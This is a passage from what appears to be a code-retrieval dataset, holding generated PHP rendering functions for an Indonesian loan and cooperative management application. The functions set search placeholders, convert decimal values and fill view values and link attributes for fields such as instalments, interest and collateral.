ew_RemoveHtml($this->Pekerjaan_No_Telp_Hp->FldCaption());\n\n\t\t\t// Status\n\t\t\t$this->Status->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Status->EditCustomAttributes = \"\";\n\t\t\t$this->Status->EditValue = ew_HtmlEncode($this->Status->AdvancedSearch->SearchValue);\n\t\t\t$this->Status->PlaceHolder = ew_RemoveHtml($this->Status->FldCaption());\n\n\t\t\t// NasabahKeterangan\n\t\t\t$this->NasabahKeterangan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->NasabahKeterangan->EditCustomAttributes = \"\";\n\t\t\t$this->NasabahKeterangan->EditValue = ew_HtmlEncode($this->NasabahKeterangan->AdvancedSearch->SearchValue);\n\t\t\t$this->NasabahKeterangan->PlaceHolder = ew_RemoveHtml($this->NasabahKeterangan->FldCaption());\n\n\t\t\t// MarketingNama\n\t\t\t$this->MarketingNama->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->MarketingNama->EditCustomAttributes = \"\";\n\t\t\t$this->MarketingNama->EditValue = ew_HtmlEncode($this->MarketingNama->AdvancedSearch->SearchValue);\n\t\t\t$this->MarketingNama->PlaceHolder = ew_RemoveHtml($this->MarketingNama->FldCaption());\n\n\t\t\t// MarketingAlamat\n\t\t\t$this->MarketingAlamat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->MarketingAlamat->EditCustomAttributes = \"\";\n\t\t\t$this->MarketingAlamat->EditValue = ew_HtmlEncode($this->MarketingAlamat->AdvancedSearch->SearchValue);\n\t\t\t$this->MarketingAlamat->PlaceHolder = ew_RemoveHtml($this->MarketingAlamat->FldCaption());\n\n\t\t\t// NoHP\n\t\t\t$this->NoHP->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->NoHP->EditCustomAttributes = \"\";\n\t\t\t$this->NoHP->EditValue = ew_HtmlEncode($this->NoHP->AdvancedSearch->SearchValue);\n\t\t\t$this->NoHP->PlaceHolder = ew_RemoveHtml($this->NoHP->FldCaption());\n\n\t\t\t// AkhirKontrak\n\t\t\t$this->AkhirKontrak->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->AkhirKontrak->EditCustomAttributes = \"\";\n\t\t\t$this->AkhirKontrak->EditValue = ew_HtmlEncode(ew_FormatDateTime(ew_UnFormatDateTime($this->AkhirKontrak->AdvancedSearch->SearchValue, 0), 8));\n\t\t\t$this->AkhirKontrak->PlaceHolder = ew_RemoveHtml($this->AkhirKontrak->FldCaption());\n\n\t\t\t// sudah_bayar\n\t\t\t$this->sudah_bayar->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->sudah_bayar->EditCustomAttributes = \"\";\n\t\t\t$this->sudah_bayar->EditValue = ew_HtmlEncode($this->sudah_bayar->AdvancedSearch->SearchValue);\n\t\t\t$this->sudah_bayar->PlaceHolder = ew_RemoveHtml($this->sudah_bayar->FldCaption());\n\n\t\t\t// pd_Angsuran_Pokok\n\t\t\t$this->pd_Angsuran_Pokok->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->pd_Angsuran_Pokok->EditCustomAttributes = \"\";\n\t\t\t$this->pd_Angsuran_Pokok->EditValue = ew_HtmlEncode($this->pd_Angsuran_Pokok->AdvancedSearch->SearchValue);\n\t\t\t$this->pd_Angsuran_Pokok->PlaceHolder = ew_RemoveHtml($this->pd_Angsuran_Pokok->FldCaption());\n\n\t\t\t// pd_Angsuran_Bunga\n\t\t\t$this->pd_Angsuran_Bunga->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->pd_Angsuran_Bunga->EditCustomAttributes = \"\";\n\t\t\t$this->pd_Angsuran_Bunga->EditValue = ew_HtmlEncode($this->pd_Angsuran_Bunga->AdvancedSearch->SearchValue);\n\t\t\t$this->pd_Angsuran_Bunga->PlaceHolder = ew_RemoveHtml($this->pd_Angsuran_Bunga->FldCaption());\n\n\t\t\t// pd_Angsuran_Total\n\t\t\t$this->pd_Angsuran_Total->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->pd_Angsuran_Total->EditCustomAttributes = \"\";\n\t\t\t$this->pd_Angsuran_Total->EditValue = ew_HtmlEncode($this->pd_Angsuran_Total->AdvancedSearch->SearchValue);\n\t\t\t$this->pd_Angsuran_Total->PlaceHolder = ew_RemoveHtml($this->pd_Angsuran_Total->FldCaption());\n\n\t\t\t// Tanggal_Bayar\n\t\t\t$this->Tanggal_Bayar->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Tanggal_Bayar->EditCustomAttributes = \"\";\n\t\t\t$this->Tanggal_Bayar->EditValue = ew_HtmlEncode(ew_FormatDateTime(ew_UnFormatDateTime($this->Tanggal_Bayar->AdvancedSearch->SearchValue, 0), 8));\n\t\t\t$this->Tanggal_Bayar->PlaceHolder = ew_RemoveHtml($this->Tanggal_Bayar->FldCaption());\n\n\t\t\t// umur_tunggakan\n\t\t\t$this->umur_tunggakan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->umur_tunggakan->EditCustomAttributes = \"\";\n\t\t\t$this->umur_tunggakan->EditValue = ew_HtmlEncode($this->umur_tunggakan->AdvancedSearch->SearchValue);\n\t\t\t$this->umur_tunggakan->PlaceHolder = ew_RemoveHtml($this->umur_tunggakan->FldCaption());\n\t\t}\n\t\tif ($this->RowType == EW_ROWTYPE_ADD ||\n\t\t\t$this->RowType == EW_ROWTYPE_EDIT ||\n\t\t\t$this->RowType == EW_ROWTYPE_SEARCH) { // Add / Edit / Search row\n\t\t\t$this->SetupFieldTitles();\n\t\t}\n\n\t\t// Call Row Rendered event\n\t\tif ($this->RowType <> EW_ROWTYPE_AGGREGATEINIT)\n\t\t\t$this->Row_Rendered();\n\t}", "title": "" }, { "docid": "7ce483f2cffef54b094c8bad14f0d8c3", "score": "0.6050971", "text": "private function should_display()\n {\n }", "title": "" }, { "docid": "28605f43c7aa47ff0b9a32cc1e6ffa33", "score": "0.60496444", "text": "function RenderRow() {\n\t\tglobal $Security, $Language, $gsLanguage;\n\n\t\t// Initialize URLs\n\t\t// Convert decimal values if posted back\n\n\t\tif ($this->saldobekusimpanan->FormValue == $this->saldobekusimpanan->CurrentValue && is_numeric(ew_StrToFloat($this->saldobekusimpanan->CurrentValue)))\n\t\t\t$this->saldobekusimpanan->CurrentValue = ew_StrToFloat($this->saldobekusimpanan->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->saldobekuminimal->FormValue == $this->saldobekuminimal->CurrentValue && is_numeric(ew_StrToFloat($this->saldobekuminimal->CurrentValue)))\n\t\t\t$this->saldobekuminimal->CurrentValue = ew_StrToFloat($this->saldobekuminimal->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->plafond->FormValue == $this->plafond->CurrentValue && is_numeric(ew_StrToFloat($this->plafond->CurrentValue)))\n\t\t\t$this->plafond->CurrentValue = ew_StrToFloat($this->plafond->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bunga->FormValue == $this->bunga->CurrentValue && is_numeric(ew_StrToFloat($this->bunga->CurrentValue)))\n\t\t\t$this->bunga->CurrentValue = ew_StrToFloat($this->bunga->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bungapersen->FormValue == $this->bungapersen->CurrentValue && is_numeric(ew_StrToFloat($this->bungapersen->CurrentValue)))\n\t\t\t$this->bungapersen->CurrentValue = ew_StrToFloat($this->bungapersen->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->administrasi->FormValue == $this->administrasi->CurrentValue && is_numeric(ew_StrToFloat($this->administrasi->CurrentValue)))\n\t\t\t$this->administrasi->CurrentValue = ew_StrToFloat($this->administrasi->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->administrasipersen->FormValue == $this->administrasipersen->CurrentValue && is_numeric(ew_StrToFloat($this->administrasipersen->CurrentValue)))\n\t\t\t$this->administrasipersen->CurrentValue = ew_StrToFloat($this->administrasipersen->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->asuransi->FormValue == $this->asuransi->CurrentValue && is_numeric(ew_StrToFloat($this->asuransi->CurrentValue)))\n\t\t\t$this->asuransi->CurrentValue = ew_StrToFloat($this->asuransi->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->notaris->FormValue == $this->notaris->CurrentValue && is_numeric(ew_StrToFloat($this->notaris->CurrentValue)))\n\t\t\t$this->notaris->CurrentValue = ew_StrToFloat($this->notaris->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->biayamaterai->FormValue == $this->biayamaterai->CurrentValue && is_numeric(ew_StrToFloat($this->biayamaterai->CurrentValue)))\n\t\t\t$this->biayamaterai->CurrentValue = ew_StrToFloat($this->biayamaterai->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->potongansaldobeku->FormValue == $this->potongansaldobeku->CurrentValue && is_numeric(ew_StrToFloat($this->potongansaldobeku->CurrentValue)))\n\t\t\t$this->potongansaldobeku->CurrentValue = ew_StrToFloat($this->potongansaldobeku->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranpokok->FormValue == $this->angsuranpokok->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranpokok->CurrentValue)))\n\t\t\t$this->angsuranpokok->CurrentValue = ew_StrToFloat($this->angsuranpokok->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranpokokauto->FormValue == $this->angsuranpokokauto->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranpokokauto->CurrentValue)))\n\t\t\t$this->angsuranpokokauto->CurrentValue = ew_StrToFloat($this->angsuranpokokauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranbunga->FormValue == $this->angsuranbunga->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranbunga->CurrentValue)))\n\t\t\t$this->angsuranbunga->CurrentValue = ew_StrToFloat($this->angsuranbunga->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranbungaauto->FormValue == $this->angsuranbungaauto->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranbungaauto->CurrentValue)))\n\t\t\t$this->angsuranbungaauto->CurrentValue = ew_StrToFloat($this->angsuranbungaauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->denda->FormValue == $this->denda->CurrentValue && is_numeric(ew_StrToFloat($this->denda->CurrentValue)))\n\t\t\t$this->denda->CurrentValue = ew_StrToFloat($this->denda->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->dendapersen->FormValue == $this->dendapersen->CurrentValue && is_numeric(ew_StrToFloat($this->dendapersen->CurrentValue)))\n\t\t\t$this->dendapersen->CurrentValue = ew_StrToFloat($this->dendapersen->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalangsuran->FormValue == $this->totalangsuran->CurrentValue && is_numeric(ew_StrToFloat($this->totalangsuran->CurrentValue)))\n\t\t\t$this->totalangsuran->CurrentValue = ew_StrToFloat($this->totalangsuran->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalangsuranauto->FormValue == $this->totalangsuranauto->CurrentValue && is_numeric(ew_StrToFloat($this->totalangsuranauto->CurrentValue)))\n\t\t\t$this->totalangsuranauto->CurrentValue = ew_StrToFloat($this->totalangsuranauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalterima->FormValue == $this->totalterima->CurrentValue && is_numeric(ew_StrToFloat($this->totalterima->CurrentValue)))\n\t\t\t$this->totalterima->CurrentValue = ew_StrToFloat($this->totalterima->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalterimaauto->FormValue == $this->totalterimaauto->CurrentValue && is_numeric(ew_StrToFloat($this->totalterimaauto->CurrentValue)))\n\t\t\t$this->totalterimaauto->CurrentValue = ew_StrToFloat($this->totalterimaauto->CurrentValue);\n\n\t\t// Call Row_Rendering event\n\t\t$this->Row_Rendering();\n\n\t\t// Common render codes for all row types\n\t\t// tanggal\n\t\t// periode\n\t\t// id\n\t\t// transaksi\n\t\t// referensi\n\t\t// anggota\n\t\t// namaanggota\n\t\t// alamat\n\t\t// pekerjaan\n\t\t// telepon\n\t\t// hp\n\t\t// fax\n\t\t// email\n\t\t// website\n\t\t// jenisanggota\n\t\t// model\n\t\t// jenispinjaman\n\t\t// jenisbunga\n\t\t// angsuran\n\t\t// masaangsuran\n\t\t// jatuhtempo\n\t\t// dispensasidenda\n\t\t// agunan\n\t\t// dataagunan1\n\t\t// dataagunan2\n\t\t// dataagunan3\n\t\t// dataagunan4\n\t\t// dataagunan5\n\t\t// saldobekusimpanan\n\t\t// saldobekuminimal\n\t\t// plafond\n\t\t// bunga\n\t\t// bungapersen\n\t\t// administrasi\n\t\t// administrasipersen\n\t\t// asuransi\n\t\t// notaris\n\t\t// biayamaterai\n\t\t// potongansaldobeku\n\t\t// angsuranpokok\n\t\t// angsuranpokokauto\n\t\t// angsuranbunga\n\t\t// angsuranbungaauto\n\t\t// denda\n\t\t// dendapersen\n\t\t// totalangsuran\n\t\t// totalangsuranauto\n\t\t// totalterima\n\t\t// totalterimaauto\n\t\t// terbilang\n\t\t// petugas\n\t\t// pembayaran\n\t\t// bank\n\t\t// atasnama\n\t\t// tipe\n\t\t// kantor\n\t\t// keterangan\n\t\t// active\n\t\t// ip\n\t\t// status\n\t\t// user\n\t\t// created\n\t\t// modified\n\n\t\tif ($this->RowType == EW_ROWTYPE_VIEW) { // View row\n\n\t\t// tanggal\n\t\t$this->tanggal->ViewValue = $this->tanggal->CurrentValue;\n\t\t$this->tanggal->ViewValue = ew_FormatDateTime($this->tanggal->ViewValue, 0);\n\t\t$this->tanggal->ViewCustomAttributes = \"\";\n\n\t\t// periode\n\t\t$this->periode->ViewValue = $this->periode->CurrentValue;\n\t\t$this->periode->ViewCustomAttributes = \"\";\n\n\t\t// id\n\t\t$this->id->ViewValue = $this->id->CurrentValue;\n\t\t$this->id->ViewCustomAttributes = \"\";\n\n\t\t// transaksi\n\t\t$this->transaksi->ViewValue = $this->transaksi->CurrentValue;\n\t\t$this->transaksi->ViewCustomAttributes = \"\";\n\n\t\t// referensi\n\t\t$this->referensi->ViewValue = $this->referensi->CurrentValue;\n\t\t$this->referensi->ViewCustomAttributes = \"\";\n\n\t\t// anggota\n\t\t$this->anggota->ViewValue = $this->anggota->CurrentValue;\n\t\t$this->anggota->ViewCustomAttributes = \"\";\n\n\t\t// namaanggota\n\t\t$this->namaanggota->ViewValue = $this->namaanggota->CurrentValue;\n\t\t$this->namaanggota->ViewCustomAttributes = \"\";\n\n\t\t// alamat\n\t\t$this->alamat->ViewValue = $this->alamat->CurrentValue;\n\t\t$this->alamat->ViewCustomAttributes = \"\";\n\n\t\t// pekerjaan\n\t\t$this->pekerjaan->ViewValue = $this->pekerjaan->CurrentValue;\n\t\t$this->pekerjaan->ViewCustomAttributes = \"\";\n\n\t\t// telepon\n\t\t$this->telepon->ViewValue = $this->telepon->CurrentValue;\n\t\t$this->telepon->ViewCustomAttributes = \"\";\n\n\t\t// hp\n\t\t$this->hp->ViewValue = $this->hp->CurrentValue;\n\t\t$this->hp->ViewCustomAttributes = \"\";\n\n\t\t// fax\n\t\t$this->fax->ViewValue = $this->fax->CurrentValue;\n\t\t$this->fax->ViewCustomAttributes = \"\";\n\n\t\t// email\n\t\t$this->_email->ViewValue = $this->_email->CurrentValue;\n\t\t$this->_email->ViewCustomAttributes = \"\";\n\n\t\t// website\n\t\t$this->website->ViewValue = $this->website->CurrentValue;\n\t\t$this->website->ViewCustomAttributes = \"\";\n\n\t\t// jenisanggota\n\t\t$this->jenisanggota->ViewValue = $this->jenisanggota->CurrentValue;\n\t\t$this->jenisanggota->ViewCustomAttributes = \"\";\n\n\t\t// model\n\t\t$this->model->ViewValue = $this->model->CurrentValue;\n\t\t$this->model->ViewCustomAttributes = \"\";\n\n\t\t// jenispinjaman\n\t\t$this->jenispinjaman->ViewValue = $this->jenispinjaman->CurrentValue;\n\t\t$this->jenispinjaman->ViewCustomAttributes = \"\";\n\n\t\t// jenisbunga\n\t\t$this->jenisbunga->ViewValue = $this->jenisbunga->CurrentValue;\n\t\t$this->jenisbunga->ViewCustomAttributes = \"\";\n\n\t\t// angsuran\n\t\t$this->angsuran->ViewValue = $this->angsuran->CurrentValue;\n\t\t$this->angsuran->ViewCustomAttributes = \"\";\n\n\t\t// masaangsuran\n\t\t$this->masaangsuran->ViewValue = $this->masaangsuran->CurrentValue;\n\t\t$this->masaangsuran->ViewCustomAttributes = \"\";\n\n\t\t// jatuhtempo\n\t\t$this->jatuhtempo->ViewValue = $this->jatuhtempo->CurrentValue;\n\t\t$this->jatuhtempo->ViewValue = ew_FormatDateTime($this->jatuhtempo->ViewValue, 0);\n\t\t$this->jatuhtempo->ViewCustomAttributes = \"\";\n\n\t\t// dispensasidenda\n\t\t$this->dispensasidenda->ViewValue = $this->dispensasidenda->CurrentValue;\n\t\t$this->dispensasidenda->ViewCustomAttributes = \"\";\n\n\t\t// agunan\n\t\t$this->agunan->ViewValue = $this->agunan->CurrentValue;\n\t\t$this->agunan->ViewCustomAttributes = \"\";\n\n\t\t// dataagunan1\n\t\t$this->dataagunan1->ViewValue = $this->dataagunan1->CurrentValue;\n\t\t$this->dataagunan1->ViewCustomAttributes = \"\";\n\n\t\t// dataagunan2\n\t\t$this->dataagunan2->ViewValue = $this->dataagunan2->CurrentValue;\n\t\t$this->dataagunan2->ViewCustomAttributes = \"\";\n\n\t\t// dataagunan3\n\t\t$this->dataagunan3->ViewValue = $this->dataagunan3->CurrentValue;\n\t\t$this->dataagunan3->ViewCustomAttributes = \"\";\n\n\t\t// dataagunan4\n\t\t$this->dataagunan4->ViewValue = $this->dataagunan4->CurrentValue;\n\t\t$this->dataagunan4->ViewCustomAttributes = \"\";\n\n\t\t// dataagunan5\n\t\t$this->dataagunan5->ViewValue = $this->dataagunan5->CurrentValue;\n\t\t$this->dataagunan5->ViewCustomAttributes = \"\";\n\n\t\t// saldobekusimpanan\n\t\t$this->saldobekusimpanan->ViewValue = $this->saldobekusimpanan->CurrentValue;\n\t\t$this->saldobekusimpanan->ViewCustomAttributes = \"\";\n\n\t\t// saldobekuminimal\n\t\t$this->saldobekuminimal->ViewValue = $this->saldobekuminimal->CurrentValue;\n\t\t$this->saldobekuminimal->ViewCustomAttributes = \"\";\n\n\t\t// plafond\n\t\t$this->plafond->ViewValue = $this->plafond->CurrentValue;\n\t\t$this->plafond->ViewCustomAttributes = \"\";\n\n\t\t// bunga\n\t\t$this->bunga->ViewValue = $this->bunga->CurrentValue;\n\t\t$this->bunga->ViewCustomAttributes = \"\";\n\n\t\t// bungapersen\n\t\t$this->bungapersen->ViewValue = $this->bungapersen->CurrentValue;\n\t\t$this->bungapersen->ViewCustomAttributes = \"\";\n\n\t\t// administrasi\n\t\t$this->administrasi->ViewValue = $this->administrasi->CurrentValue;\n\t\t$this->administrasi->ViewCustomAttributes = \"\";\n\n\t\t// administrasipersen\n\t\t$this->administrasipersen->ViewValue = $this->administrasipersen->CurrentValue;\n\t\t$this->administrasipersen->ViewCustomAttributes = \"\";\n\n\t\t// asuransi\n\t\t$this->asuransi->ViewValue = $this->asuransi->CurrentValue;\n\t\t$this->asuransi->ViewCustomAttributes = \"\";\n\n\t\t// notaris\n\t\t$this->notaris->ViewValue = $this->notaris->CurrentValue;\n\t\t$this->notaris->ViewCustomAttributes = \"\";\n\n\t\t// biayamaterai\n\t\t$this->biayamaterai->ViewValue = $this->biayamaterai->CurrentValue;\n\t\t$this->biayamaterai->ViewCustomAttributes = \"\";\n\n\t\t// potongansaldobeku\n\t\t$this->potongansaldobeku->ViewValue = $this->potongansaldobeku->CurrentValue;\n\t\t$this->potongansaldobeku->ViewCustomAttributes = \"\";\n\n\t\t// angsuranpokok\n\t\t$this->angsuranpokok->ViewValue = $this->angsuranpokok->CurrentValue;\n\t\t$this->angsuranpokok->ViewCustomAttributes = \"\";\n\n\t\t// angsuranpokokauto\n\t\t$this->angsuranpokokauto->ViewValue = $this->angsuranpokokauto->CurrentValue;\n\t\t$this->angsuranpokokauto->ViewCustomAttributes = \"\";\n\n\t\t// angsuranbunga\n\t\t$this->angsuranbunga->ViewValue = $this->angsuranbunga->CurrentValue;\n\t\t$this->angsuranbunga->ViewCustomAttributes = \"\";\n\n\t\t// angsuranbungaauto\n\t\t$this->angsuranbungaauto->ViewValue = $this->angsuranbungaauto->CurrentValue;\n\t\t$this->angsuranbungaauto->ViewCustomAttributes = \"\";\n\n\t\t// denda\n\t\t$this->denda->ViewValue = $this->denda->CurrentValue;\n\t\t$this->denda->ViewCustomAttributes = \"\";\n\n\t\t// dendapersen\n\t\t$this->dendapersen->ViewValue = $this->dendapersen->CurrentValue;\n\t\t$this->dendapersen->ViewCustomAttributes = \"\";\n\n\t\t// totalangsuran\n\t\t$this->totalangsuran->ViewValue = $this->totalangsuran->CurrentValue;\n\t\t$this->totalangsuran->ViewCustomAttributes = \"\";\n\n\t\t// totalangsuranauto\n\t\t$this->totalangsuranauto->ViewValue = $this->totalangsuranauto->CurrentValue;\n\t\t$this->totalangsuranauto->ViewCustomAttributes = \"\";\n\n\t\t// totalterima\n\t\t$this->totalterima->ViewValue = $this->totalterima->CurrentValue;\n\t\t$this->totalterima->ViewCustomAttributes = \"\";\n\n\t\t// totalterimaauto\n\t\t$this->totalterimaauto->ViewValue = $this->totalterimaauto->CurrentValue;\n\t\t$this->totalterimaauto->ViewCustomAttributes = \"\";\n\n\t\t// terbilang\n\t\t$this->terbilang->ViewValue = $this->terbilang->CurrentValue;\n\t\t$this->terbilang->ViewCustomAttributes = \"\";\n\n\t\t// petugas\n\t\t$this->petugas->ViewValue = $this->petugas->CurrentValue;\n\t\t$this->petugas->ViewCustomAttributes = \"\";\n\n\t\t// pembayaran\n\t\t$this->pembayaran->ViewValue = $this->pembayaran->CurrentValue;\n\t\t$this->pembayaran->ViewCustomAttributes = \"\";\n\n\t\t// bank\n\t\t$this->bank->ViewValue = $this->bank->CurrentValue;\n\t\t$this->bank->ViewCustomAttributes = \"\";\n\n\t\t// atasnama\n\t\t$this->atasnama->ViewValue = $this->atasnama->CurrentValue;\n\t\t$this->atasnama->ViewCustomAttributes = \"\";\n\n\t\t// tipe\n\t\t$this->tipe->ViewValue = $this->tipe->CurrentValue;\n\t\t$this->tipe->ViewCustomAttributes = \"\";\n\n\t\t// kantor\n\t\t$this->kantor->ViewValue = $this->kantor->CurrentValue;\n\t\t$this->kantor->ViewCustomAttributes = \"\";\n\n\t\t// keterangan\n\t\t$this->keterangan->ViewValue = $this->keterangan->CurrentValue;\n\t\t$this->keterangan->ViewCustomAttributes = \"\";\n\n\t\t// active\n\t\tif (strval($this->active->CurrentValue) <> \"\") {\n\t\t\t$this->active->ViewValue = $this->active->OptionCaption($this->active->CurrentValue);\n\t\t} else {\n\t\t\t$this->active->ViewValue = NULL;\n\t\t}\n\t\t$this->active->ViewCustomAttributes = \"\";\n\n\t\t// ip\n\t\t$this->ip->ViewValue = $this->ip->CurrentValue;\n\t\t$this->ip->ViewCustomAttributes = \"\";\n\n\t\t// status\n\t\t$this->status->ViewValue = $this->status->CurrentValue;\n\t\t$this->status->ViewCustomAttributes = \"\";\n\n\t\t// user\n\t\t$this->user->ViewValue = $this->user->CurrentValue;\n\t\t$this->user->ViewCustomAttributes = \"\";\n\n\t\t// created\n\t\t$this->created->ViewValue = $this->created->CurrentValue;\n\t\t$this->created->ViewValue = ew_FormatDateTime($this->created->ViewValue, 0);\n\t\t$this->created->ViewCustomAttributes = \"\";\n\n\t\t// modified\n\t\t$this->modified->ViewValue = $this->modified->CurrentValue;\n\t\t$this->modified->ViewValue = ew_FormatDateTime($this->modified->ViewValue, 0);\n\t\t$this->modified->ViewCustomAttributes = \"\";\n\n\t\t\t// tanggal\n\t\t\t$this->tanggal->LinkCustomAttributes = \"\";\n\t\t\t$this->tanggal->HrefValue = \"\";\n\t\t\t$this->tanggal->TooltipValue = \"\";\n\n\t\t\t// periode\n\t\t\t$this->periode->LinkCustomAttributes = \"\";\n\t\t\t$this->periode->HrefValue = \"\";\n\t\t\t$this->periode->TooltipValue = \"\";\n\n\t\t\t// id\n\t\t\t$this->id->LinkCustomAttributes = \"\";\n\t\t\t$this->id->HrefValue = \"\";\n\t\t\t$this->id->TooltipValue = \"\";\n\n\t\t\t// transaksi\n\t\t\t$this->transaksi->LinkCustomAttributes = \"\";\n\t\t\t$this->transaksi->HrefValue = \"\";\n\t\t\t$this->transaksi->TooltipValue = \"\";\n\n\t\t\t// referensi\n\t\t\t$this->referensi->LinkCustomAttributes = \"\";\n\t\t\t$this->referensi->HrefValue = \"\";\n\t\t\t$this->referensi->TooltipValue = \"\";\n\n\t\t\t// anggota\n\t\t\t$this->anggota->LinkCustomAttributes = \"\";\n\t\t\t$this->anggota->HrefValue = \"\";\n\t\t\t$this->anggota->TooltipValue = \"\";\n\n\t\t\t// namaanggota\n\t\t\t$this->namaanggota->LinkCustomAttributes = \"\";\n\t\t\t$this->namaanggota->HrefValue = \"\";\n\t\t\t$this->namaanggota->TooltipValue = \"\";\n\n\t\t\t// alamat\n\t\t\t$this->alamat->LinkCustomAttributes = \"\";\n\t\t\t$this->alamat->HrefValue = \"\";\n\t\t\t$this->alamat->TooltipValue = \"\";\n\n\t\t\t// pekerjaan\n\t\t\t$this->pekerjaan->LinkCustomAttributes = \"\";\n\t\t\t$this->pekerjaan->HrefValue = \"\";\n\t\t\t$this->pekerjaan->TooltipValue = \"\";\n\n\t\t\t// telepon\n\t\t\t$this->telepon->LinkCustomAttributes = \"\";\n\t\t\t$this->telepon->HrefValue = \"\";\n\t\t\t$this->telepon->TooltipValue = \"\";\n\n\t\t\t// hp\n\t\t\t$this->hp->LinkCustomAttributes = \"\";\n\t\t\t$this->hp->HrefValue = \"\";\n\t\t\t$this->hp->TooltipValue = \"\";\n\n\t\t\t// fax\n\t\t\t$this->fax->LinkCustomAttributes = \"\";\n\t\t\t$this->fax->HrefValue = \"\";\n\t\t\t$this->fax->TooltipValue = \"\";\n\n\t\t\t// email\n\t\t\t$this->_email->LinkCustomAttributes = \"\";\n\t\t\t$this->_email->HrefValue = \"\";\n\t\t\t$this->_email->TooltipValue = \"\";\n\n\t\t\t// website\n\t\t\t$this->website->LinkCustomAttributes = \"\";\n\t\t\t$this->website->HrefValue = \"\";\n\t\t\t$this->website->TooltipValue = \"\";\n\n\t\t\t// jenisanggota\n\t\t\t$this->jenisanggota->LinkCustomAttributes = \"\";\n\t\t\t$this->jenisanggota->HrefValue = \"\";\n\t\t\t$this->jenisanggota->TooltipValue = \"\";\n\n\t\t\t// model\n\t\t\t$this->model->LinkCustomAttributes = \"\";\n\t\t\t$this->model->HrefValue = \"\";\n\t\t\t$this->model->TooltipValue = \"\";\n\n\t\t\t// jenispinjaman\n\t\t\t$this->jenispinjaman->LinkCustomAttributes = \"\";\n\t\t\t$this->jenispinjaman->HrefValue = \"\";\n\t\t\t$this->jenispinjaman->TooltipValue = \"\";\n\n\t\t\t// jenisbunga\n\t\t\t$this->jenisbunga->LinkCustomAttributes = \"\";\n\t\t\t$this->jenisbunga->HrefValue = \"\";\n\t\t\t$this->jenisbunga->TooltipValue = \"\";\n\n\t\t\t// angsuran\n\t\t\t$this->angsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->angsuran->HrefValue = \"\";\n\t\t\t$this->angsuran->TooltipValue = \"\";\n\n\t\t\t// masaangsuran\n\t\t\t$this->masaangsuran->LinkCustomAttributes = \"\";\n\t\t\t$this->masaangsuran->HrefValue = \"\";\n\t\t\t$this->masaangsuran->TooltipValue = \"\";\n\n\t\t\t// jatuhtempo\n\t\t\t$this->jatuhtempo->LinkCustomAttributes = \"\";\n\t\t\t$this->jatuhtempo->HrefValue = \"\";\n\t\t\t$this->jatuhtempo->TooltipValue = \"\";\n\n\t\t\t// dispensasidenda\n\t\t\t$this->dispensasidenda->LinkCustomAttributes = \"\";\n\t\t\t$this->dispensasidenda->HrefValue = \"\";\n\t\t\t$this->dispensasidenda->TooltipValue = \"\";\n\n\t\t\t// agunan\n\t\t\t$this->agunan->LinkCustomAttributes = \"\";\n\t\t\t$this->agunan->HrefValue = \"\";\n\t\t\t$this->agunan->TooltipValue = \"\";\n\n\t\t\t// dataagunan1\n\t\t\t$this->dataagunan1->LinkCustomAttributes = \"\";\n\t\t\t$this->dataagunan1->HrefValue = \"\";\n\t\t\t$this->dataagunan1->TooltipValue = \"\";\n\n\t\t\t// dataagunan2\n\t\t\t$this->dataagunan2->LinkCustomAttributes = \"\";\n\t\t\t$this->dataagunan2->HrefValue = \"\";\n\t\t\t$this->dataagunan2->TooltipValue = \"\";\n\n\t\t\t// dataagunan3\n\t\t\t$this->dataagunan3->LinkCustomAttributes = \"\";\n\t\t\t$this->dataagunan3->HrefValue = \"\";\n\t\t\t$this->dataagunan3->TooltipValue = \"\";\n\n\t\t\t// dataagunan4\n\t\t\t$this->dataagunan4->LinkCustomAttributes = \"\";\n\t\t\t$this->dataagunan4->HrefValue = \"\";\n\t\t\t$this->dataagunan4->TooltipValue = \"\";\n\n\t\t\t// dataagunan5\n\t\t\t$this->dataagunan5->LinkCustomAttributes = \"\";\n\t\t\t$this->dataagunan5->HrefValue = \"\";\n\t\t\t$this->dataagunan5->TooltipValue = \"\";\n\n\t\t\t// saldobekusimpanan\n\t\t\t$this->saldobekusimpanan->LinkCustomAttributes = \"\";\n\t\t\t$this->saldobekusimpanan->HrefValue = \"\";\n\t\t\t$this->saldobekusimpanan->TooltipValue = 